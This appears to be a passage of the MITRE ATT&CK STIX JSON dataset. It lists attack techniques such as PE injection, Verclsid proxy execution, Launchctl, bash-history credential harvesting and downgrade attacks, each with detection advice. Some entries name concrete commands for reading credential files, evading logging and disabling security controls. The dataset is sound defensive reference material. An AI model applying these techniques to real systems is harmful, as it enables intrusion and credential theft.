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            "x_mitre_detection": "Monitor for unexpected Docker image build requests to the Docker daemon on hosts in the environment. Additionally monitor for subsequent network communication with anomalous IPs that have never been seen before in the environment that indicate the download of malicious code.",
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                "Network Traffic: Network Connection Creation",
                "Network Traffic: Network Traffic Flow"
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        {
            "type": "attack-pattern",
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            "id": "attack-pattern--804c042c-cfe6-449e-bc1a-ba0a998a70db",
            "created": "2017-05-31T21:30:46.047Z",
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            "external_references": [
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1051",
                    "external_id": "T1051"
                },
                {
                    "source_name": "Apache Server 2018",
                    "description": "Apache. (n.d.). Apache HTTP Server Version 2.4 Documentation - Web Site Content. Retrieved July 27, 2018.",
                    "url": "http://httpd.apache.org/docs/2.4/getting-started.html#content"
                },
                {
                    "source_name": "Webroot PHP 2011",
                    "description": "Brandt, Andrew. (2011, February 22). Malicious PHP Scripts on the Rise. Retrieved October 3, 2018.",
                    "url": "https://www.webroot.com/blog/2011/02/22/malicious-php-scripts-on-the-rise/"
                },
                {
                    "source_name": "Microsoft Web Root OCT 2016",
                    "description": "Microsoft. (2016, October 20). How to: Find the Web Application Root. Retrieved July 27, 2018."
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                {
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/563.html",
                    "external_id": "CAPEC-563"
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            "name": "Shared Webroot",
            "description": "**This technique has been deprecated and should no longer be used.**\n\nAdversaries may add malicious content to an internally accessible website through an open network file share that contains the website's webroot or Web content directory (Citation: Microsoft Web Root OCT 2016) (Citation: Apache Server 2018) and then browse to that content with a Web browser to cause the server to execute the malicious content. The malicious content will typically run under the context and permissions of the Web server process, often resulting in local system or administrative privileges, depending on how the Web server is configured.\n\nThis mechanism of shared access and remote execution could be used for lateral movement to the system running the Web server. For example, a Web server running PHP with an open network share could allow an adversary to upload a remote access tool and PHP script to execute the RAT on the system running the Web server when a specific page is visited. (Citation: Webroot PHP 2011)",
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            "id": "attack-pattern--806a49c4-970d-43f9-9acc-ac0ee11e6662",
            "created": "2020-01-14T01:27:31.344Z",
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                    "external_id": "T1055.002"
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                {
                    "source_name": "Elastic Process Injection July 2017",
                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
                    "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
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            "modified": "2025-04-25T14:47:15.984Z",
            "name": "Portable Executable Injection",
            "description": "Adversaries may inject portable executables (PE) into processes in order to evade process-based defenses as well as possibly elevate privileges. PE injection is a method of executing arbitrary code in the address space of a separate live process. \n\nPE injection is commonly performed by copying code (perhaps without a file on disk) into the virtual address space of the target process before invoking it via a new thread. The write can be performed with native Windows API calls such as <code>VirtualAllocEx</code> and <code>WriteProcessMemory</code>, then invoked with <code>CreateRemoteThread</code> or additional code (ex: shellcode). The displacement of the injected code does introduce the additional requirement for functionality to remap memory references. (Citation: Elastic Process Injection July 2017) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via PE injection may also evade detection from security products since the execution is masked under a legitimate process. ",
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                {
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            "x_mitre_detection": "Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as <code>CreateRemoteThread</code> and those that can be used to modify memory within another process, such as <code>VirtualAllocEx</code>/<code>WriteProcessMemory</code>, may be used for this technique.(Citation: Elastic Process Injection July 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "Process: Process Access",
                "Process: OS API Execution",
                "Process: Process Modification"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--808e6329-ca91-4b87-ac2d-8eadc5f8f327",
            "created": "2020-08-10T13:59:38.443Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1218/012",
                    "external_id": "T1218.012"
                },
                {
                    "source_name": "BOHOPS Abusing the COM Registry",
                    "description": "BOHOPS. (2018, August 18). Abusing the COM Registry Structure (Part 2): Hijacking & Loading Techniques. Retrieved August 10, 2020.",
                    "url": "https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/"
                },
                {
                    "source_name": "Red Canary Verclsid.exe",
                    "description": "Haag, M., Levan, K. (2017, April 6). Old Phishing Attacks Deploy a New Methodology: Verclsid.exe. Retrieved August 10, 2020.",
                    "url": "https://redcanary.com/blog/verclsid-exe-threat-detection/"
                },
                {
                    "source_name": "LOLBAS Verclsid",
                    "description": "LOLBAS. (n.d.). Verclsid.exe. Retrieved August 10, 2020.",
                    "url": "https://lolbas-project.github.io/lolbas/Binaries/Verclsid/"
                },
                {
                    "source_name": "Nick Tyrer GitHub",
                    "description": "Tyrer, N. (n.d.). Instructions. Retrieved August 10, 2020.",
                    "url": "https://gist.github.com/NickTyrer/0598b60112eaafe6d07789f7964290d5"
                },
                {
                    "source_name": "WinOSBite verclsid.exe",
                    "description": "verclsid-exe. (2019, December 17). verclsid.exe File Information - What is it & How to Block\u00a0. Retrieved November 17, 2024.",
                    "url": "https://winosbite.com/verclsid-exe/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:46.323Z",
            "name": "Verclsid",
            "description": "Adversaries may abuse verclsid.exe to proxy execution of malicious code. Verclsid.exe is known as the Extension CLSID Verification Host and is responsible for verifying each shell extension before they are used by Windows Explorer or the Windows Shell.(Citation: WinOSBite verclsid.exe)\n\nAdversaries may abuse verclsid.exe to execute malicious payloads. This may be achieved by running <code>verclsid.exe /S /C {CLSID}</code>, where the file is referenced by a Class ID (CLSID), a unique identification number used to identify COM objects. COM payloads executed by verclsid.exe may be able to perform various malicious actions, such as loading and executing COM scriptlets (SCT) from remote servers (similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010)). Since the binary may be signed and/or native on Windows systems, proxying execution via verclsid.exe may bypass application control solutions that do not account for its potential abuse.(Citation: LOLBAS Verclsid)(Citation: Red Canary Verclsid.exe)(Citation: BOHOPS Abusing the COM Registry)(Citation: Nick Tyrer GitHub) ",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Rodrigo Garcia, Red Canary"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of verclsid.exe. Compare recent invocations of verclsid.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Command arguments used before and after the invocation of verclsid.exe may also be useful in determining the origin and purpose of the payload being executed. Depending on the environment, it may be unusual for verclsid.exe to have a parent process of a Microsoft Office product. It may also be unusual for verclsid.exe to have any child processes or to make network connections or file modifications.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "2.1",
            "x_mitre_data_sources": [
                "Command: Command Execution",
                "Process: Process Creation"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--81033c3b-16a4-46e4-8fed-9b030dd03c4a",
            "created": "2020-10-01T01:17:15.965Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1586",
                    "external_id": "T1586"
                },
                {
                    "source_name": "AnonHBGary",
                    "description": "Bright, P. (2011, February 15). Anonymous speaks: the inside story of the HBGary hack. Retrieved March 9, 2017.",
                    "url": "https://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack/"
                },
                {
                    "source_name": "Microsoft DEV-0537",
                    "description": "Microsoft. (2022, March 22). DEV-0537 criminal actor targeting organizations for data exfiltration and destruction. Retrieved March 23, 2022.",
                    "url": "https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-15T22:07:30.871Z",
            "name": "Compromise Accounts",
            "description": "Adversaries may compromise accounts with services that can be used during targeting. For operations incorporating social engineering, the utilization of an online persona may be important. Rather than creating and cultivating accounts (i.e. [Establish Accounts](https://attack.mitre.org/techniques/T1585)), adversaries may compromise existing accounts. Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. \n\nA variety of methods exist for compromising accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, brute forcing credentials (ex: password reuse from breach credential dumps), or paying employees, suppliers or business partners for access to credentials.(Citation: AnonHBGary)(Citation: Microsoft DEV-0537) Prior to compromising accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation.\n\nPersonas may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, etc.). Compromised accounts may require additional development, this could include filling out or modifying profile information, further developing social networks, or incorporating photos.\n\nAdversaries may directly leverage compromised email accounts for [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).",
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                {
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                    "phase_name": "resource-development"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently modified accounts making numerous connection requests to accounts affiliated with your organization.\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "PRE"
            ],
            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "Persona: Social Media",
                "Network Traffic: Network Traffic Content"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--810aa4ad-61c9-49cb-993f-daa06199421d",
            "created": "2020-03-10T18:26:56.187Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1569/001",
                    "external_id": "T1569.001"
                },
                {
                    "source_name": "Sofacy Komplex Trojan",
                    "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/"
                },
                {
                    "source_name": "20 macOS Common Tools and Techniques",
                    "description": "Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.",
                    "url": "https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/"
                },
                {
                    "source_name": "Launchctl Man",
                    "description": "SS64. (n.d.). launchctl. Retrieved March 28, 2020.",
                    "url": "https://ss64.com/osx/launchctl.html"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:46.562Z",
            "name": "Launchctl",
            "description": "Adversaries may abuse launchctl to execute commands or programs. Launchctl interfaces with launchd, the service management framework for macOS. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input.(Citation: Launchctl Man)\n\nAdversaries use launchctl to execute commands and programs as [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s. Common subcommands include: <code>launchctl load</code>,<code>launchctl unload</code>, and <code>launchctl start</code>. Adversaries can use scripts or manually run the commands <code>launchctl load -w \"%s/Library/LaunchAgents/%s\"</code> or <code>/bin/launchctl load</code> to execute [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s.(Citation: Sofacy Komplex Trojan)(Citation: 20 macOS Common Tools and Techniques)\n",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "execution"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Every Launch Agent and Launch Daemon must have a corresponding plist file on disk which can be monitored. Monitor for recently modified or created plist files with a significant change to the executable path executed with the command-line <code>launchctl</code> command. Plist files are located in the root, system, and users <code>/Library/LaunchAgents</code> or <code>/Library/LaunchDaemons</code> folders. \n\nMonitor command-line execution of the <code>launchctl</code> command immediately followed by abnormal network connections. [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s with executable paths pointing to <code>/tmp</code> and <code>/Shared</code> folders locations are potentially suspicious. \n\nWhen removing [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s ensure the services are unloaded prior to deleting plist files.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_version": "1.3",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Command: Command Execution",
                "Service: Service Creation",
                "File: File Modification"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--810d8072-afb6-4a56-9ee7-86379ac4a6f3",
            "created": "2020-10-01T00:58:35.269Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1584/005",
                    "external_id": "T1584.005"
                },
                {
                    "source_name": "Dell Dridex Oct 2015",
                    "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, October 13). Dridex (Bugat v5) Botnet Takeover Operation. Retrieved May 31, 2019.",
                    "url": "https://www.secureworks.com/research/dridex-bugat-v5-botnet-takeover-operation"
                },
                {
                    "source_name": "Imperva DDoS for Hire",
                    "description": "Imperva. (n.d.). Booters, Stressers and DDoSers. Retrieved October 4, 2020.",
                    "url": "https://www.imperva.com/learn/ddos/booters-stressers-ddosers/"
                },
                {
                    "source_name": "Norton Botnet",
                    "description": "Norton. (n.d.). What is a botnet?. Retrieved October 4, 2020.",
                    "url": "https://us.norton.com/internetsecurity-malware-what-is-a-botnet.html"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T13:38:12.734Z",
            "name": "Botnet",
            "description": "Adversaries may compromise numerous third-party systems to form a botnet\u00a0that can be used during targeting. A botnet is a network of compromised systems that can be instructed to perform coordinated tasks.(Citation: Norton Botnet) Instead of purchasing/renting a botnet from a booter/stresser service, adversaries may build their own botnet by compromising numerous third-party systems.(Citation: Imperva DDoS for Hire) Adversaries may also conduct a takeover of an existing botnet, such as redirecting bots to adversary-controlled C2 servers.(Citation: Dell Dridex Oct 2015) With a botnet at their disposal, adversaries may perform follow-on activity such as large-scale [Phishing](https://attack.mitre.org/techniques/T1566) or Distributed Denial of Service (DDoS).",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "resource-development"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during [Phishing](https://attack.mitre.org/techniques/T1566), [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1499), or [Network Denial of Service](https://attack.mitre.org/techniques/T1498).",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "PRE"
            ],
            "x_mitre_version": "1.0"
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--818302b2-d640-477b-bf88-873120ce85c4",
            "created": "2020-10-20T00:09:33.072Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1059/008",
                    "external_id": "T1059.008"
                },
                {
                    "source_name": "Cisco IOS Software Integrity Assurance - Command History",
                    "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Command History. Retrieved October 21, 2020.",
                    "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#23"
                },
                {
                    "source_name": "Cisco Synful Knock Evolution",
                    "description": "Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020.",
                    "url": "https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T20:37:18.015Z",
            "name": "Network Device CLI",
            "description": "Adversaries may abuse scripting or built-in command line interpreters (CLI) on network devices to execute malicious command and payloads. The CLI is the primary means through which users and administrators interact with the device in order to view system information, modify device operations, or perform diagnostic and administrative functions. CLIs typically contain various permission levels required for different commands. \n\nScripting interpreters automate tasks and extend functionality beyond the command set included in the network OS. The CLI and scripting interpreter are accessible through a direct console connection, or through remote means, such as telnet or [SSH](https://attack.mitre.org/techniques/T1021/004).\n\nAdversaries can use the network CLI to change how network devices behave and operate. The CLI may be used to manipulate traffic flows to intercept or manipulate data, modify startup configuration parameters to load malicious system software, or to disable security features or logging to avoid detection.(Citation: Cisco Synful Knock Evolution)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "execution"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Consider reviewing command history in either the console or as part of the running memory to determine if unauthorized or suspicious commands were used to modify device configuration.(Citation: Cisco IOS Software Integrity Assurance - Command History)\n\nConsider comparing a copy of the network device configuration against a known-good version to discover unauthorized changes to the command interpreter. The same process can be accomplished through a comparison of the run-time memory, though this is non-trivial and may require assistance from the vendor.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Network Devices"
            ],
            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "Command: Command Execution"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--8187bd2a-866f-4457-9009-86b0ddedffa3",
            "created": "2020-02-04T13:02:11.685Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1552/003",
                    "external_id": "T1552.003"
                },
                {
                    "source_name": "External to DA, the OS X Way",
                    "description": "Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved September 12, 2024.",
                    "url": "https://www.slideshare.net/slideshow/external-to-da-the-os-x-way/62021418"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T21:52:49.389Z",
            "name": "Bash History",
            "description": "Adversaries may search the bash command history on compromised systems for insecurely stored credentials. Bash keeps track of the commands users type on the command-line with the \"history\" utility. Once a user logs out, the history is flushed to the user\u2019s <code>.bash_history</code> file. For each user, this file resides at the same location: <code>~/.bash_history</code>. Typically, this file keeps track of the user\u2019s last 500 commands. Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Adversaries can abuse this by looking through the file for potential credentials. (Citation: External to DA, the OS X Way)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitoring when the user's <code>.bash_history</code> is read can help alert to suspicious activity. While users do typically rely on their history of commands, they often access this history through other utilities like \"history\" instead of commands like <code>cat ~/.bash_history</code>.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS"
            ],
            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "File: File Access",
                "Command: Command Execution"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--824add00-99a1-4b15-9a2d-6c5683b7b497",
            "created": "2021-10-08T14:06:28.212Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1562/010",
                    "external_id": "T1562.010"
                },
                {
                    "source_name": "SafeBreach",
                    "description": "Alon Leviev. (2024, August 7). Windows Downdate: Downgrade Attacks Using Windows Updates. Retrieved January 8, 2025.",
                    "url": "https://www.safebreach.com/blog/downgrade-attacks-using-windows-updates/"
                },
                {
                    "source_name": "Crowdstrike Downgrade",
                    "description": "Bart Lenaerts-Bergman. (2023, March 14). WHAT ARE DOWNGRADE ATTACKS?. Retrieved May 24, 2023.",
                    "url": "https://www.crowdstrike.com/cybersecurity-101/attack-types/downgrade-attacks/"
                },
                {
                    "source_name": "Targeted SSL Stripping Attacks Are Real",
                    "description": "Check Point. (n.d.). Targeted SSL Stripping Attacks Are Real. Retrieved May 24, 2023.",
                    "url": "https://blog.checkpoint.com/research/targeted-ssl-stripping-attacks-are-real/amp/"
                },
                {
                    "source_name": "CrowdStrike BGH Ransomware 2021",
                    "description": "Falcon Complete Team. (2021, May 11). Response When Minutes Matter: Rising Up Against Ransomware. Retrieved October 8, 2021.",
                    "url": "https://www.crowdstrike.com/blog/how-falcon-complete-stopped-a-big-game-hunting-ransomware-attack/"
                },
                {
                    "source_name": "att_def_ps_logging",
                    "description": "Hao, M. (2019, February 27). Attack and Defense Around PowerShell Event Logging. Retrieved November 24, 2021.",
                    "url": "https://nsfocusglobal.com/attack-and-defense-around-powershell-event-logging/"
                },
                {
                    "source_name": "inv_ps_attacks",
                    "description": "Hastings, M. (2014, July 16). Investigating PowerShell Attacks. Retrieved December 1, 2021.",
                    "url": "https://powershellmagazine.com/2014/07/16/investigating-powershell-attacks/"
                },
                {
                    "source_name": "Mandiant BYOL 2018",
                    "description": "Kirk, N. (2018, June 18). Bring Your Own Land (BYOL) \u2013 A Novel Red Teaming Technique. Retrieved October 8, 2021.",
                    "url": "https://www.mandiant.com/resources/bring-your-own-land-novel-red-teaming-technique"
                },
                {
                    "source_name": "welivesecurity",
                    "description": "Martin Smol\u00e1r. (2023, March 1). BlackLotus UEFI bootkit: Myth confirmed. Retrieved February 11, 2025.",
                    "url": "https://www.welivesecurity.com/2023/03/01/blacklotus-uefi-bootkit-myth-confirmed/"
                },
                {
                    "source_name": "Microsoft Security",
                    "description": "Microsoft Incident Response. (2023, April 11). Guidance for investigating attacks using CVE-2022-21894: The BlackLotus campaign. Retrieved February 12, 2025.",
                    "url": "https://www.microsoft.com/en-us/security/blog/2023/04/11/guidance-for-investigating-attacks-using-cve-2022-21894-the-blacklotus-campaign/"
                },
                {
                    "source_name": "Praetorian TLS Downgrade Attack 2014",
                    "description": "Praetorian. (2014, August 19). Man-in-the-Middle TLS Protocol Downgrade Attack. Retrieved October 8, 2021.",
                    "url": "https://www.praetorian.com/blog/man-in-the-middle-tls-ssl-protocol-downgrade-attack/"
                }
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            "modified": "2025-04-15T19:58:46.929Z",
            "name": "Downgrade Attack",
            "description": "Adversaries may downgrade or use a version of system features that may be outdated, vulnerable, and/or does not support updated security controls. Downgrade attacks typically take advantage of a system\u2019s backward compatibility to force it into less secure modes of operation. \n\nAdversaries may downgrade and use various less-secure versions of features of a system, such as [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)s or even network protocols that can be abused to enable [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) or [Network Sniffing](https://attack.mitre.org/techniques/T1040).(Citation: Praetorian TLS Downgrade Attack 2014) For example, [PowerShell](https://attack.mitre.org/techniques/T1059/001) versions 5+ includes Script Block Logging (SBL), which can record executed script content. However, adversaries may attempt to execute a previous version of PowerShell that does not support SBL with the intent to [Impair Defenses](https://attack.mitre.org/techniques/T1562) while running malicious scripts that may have otherwise been detected.(Citation: CrowdStrike BGH Ransomware 2021)(Citation: Mandiant BYOL 2018)(Citation: att_def_ps_logging)\n\nAdversaries may similarly target network traffic to downgrade from an encrypted HTTPS connection to an unsecured HTTP connection that exposes network data in clear text.(Citation: Targeted SSL Stripping Attacks Are Real)(Citation: Crowdstrike Downgrade) On Windows systems, adversaries may downgrade the boot manager to a vulnerable version that bypasses Secure Boot, granting the ability to disable various operating system security mechanisms.(Citation: SafeBreach)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Mayuresh Dani, Qualys",
                "Daniel Feichter, @VirtualAllocEx, Infosec Tirol",
                "Arad Inbar, Fidelis Security"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor for commands or other activity that may be indicative of attempts to abuse older or deprecated technologies (ex: <code>powershell \u2013v 2</code>). Also monitor for other abnormal events, such as execution of and/or processes spawning from a version of a tool that is not expected in the environment.\n\nMonitor for Windows event ID (EID) 400, specifically the <code>EngineVersion</code> field which shows the version of PowerShell running and may highlight a malicious downgrade attack.(Citation: inv_ps_attacks)\n\nMonitor network data to detect cases where HTTP is used instead of HTTPS.\n\nMonitor executed commands and arguments that may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms. Bitlocker can be disabled by calling DisableKeyProtectors and setting DisableCount to 0.(Citation: welivesecurity)\n\nMonitor for newly constructed files that may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems. Adversaries can construct new files in the EFI System Partition.(Citation: Microsoft Security)(Citation: welivesecurity)\n\nMonitor for changes made to Windows Registry keys and/or values related to services and startup programs that correspond to security tools such as HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows Defender. HVCI (Hypervisor-Protected Code Integrity) can be disabled by modifying the registry key to 0, allowing the system to run custom unsigned kernel code.(Citation: Microsoft Security)(Citation: welivesecurity)",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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                "Linux",
                "macOS"
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            "x_mitre_data_sources": [
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                "Process: Process Creation",
                "Process: Process Metadata"
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            "type": "attack-pattern",
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            "id": "attack-pattern--8252f135-ed26-4ce1-ae61-f26e94429a19",
            "created": "2021-10-12T06:45:36.763Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1559/003",
                    "external_id": "T1559.003"
                },
                {
                    "source_name": "creatingXPCservices",
                    "description": "Apple. (2016, September 9). Creating XPC Services. Retrieved April 19, 2022.",
                    "url": "https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingXPCServices.html#//apple_ref/doc/uid/10000172i-SW6-SW1"
                },
                {
                    "source_name": "Designing Daemons Apple Dev",
                    "description": "Apple. (n.d.). Retrieved October 12, 2021.",
                    "url": "https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/DesigningDaemons.html"
                },
                {
                    "source_name": "CVMServer Vuln",
                    "description": "Mickey Jin. (2021, June 3). CVE-2021-30724: CVMServer Vulnerability in macOS and iOS. Retrieved October 12, 2021.",
                    "url": "https://www.trendmicro.com/en_us/research/21/f/CVE-2021-30724_CVMServer_Vulnerability_in_macOS_and_iOS.html"
                },
                {
                    "source_name": "Learn XPC Exploitation",
                    "description": "Wojciech Regu\u0142a. (2020, June 29). Learn XPC exploitation. Retrieved October 12, 2021.",
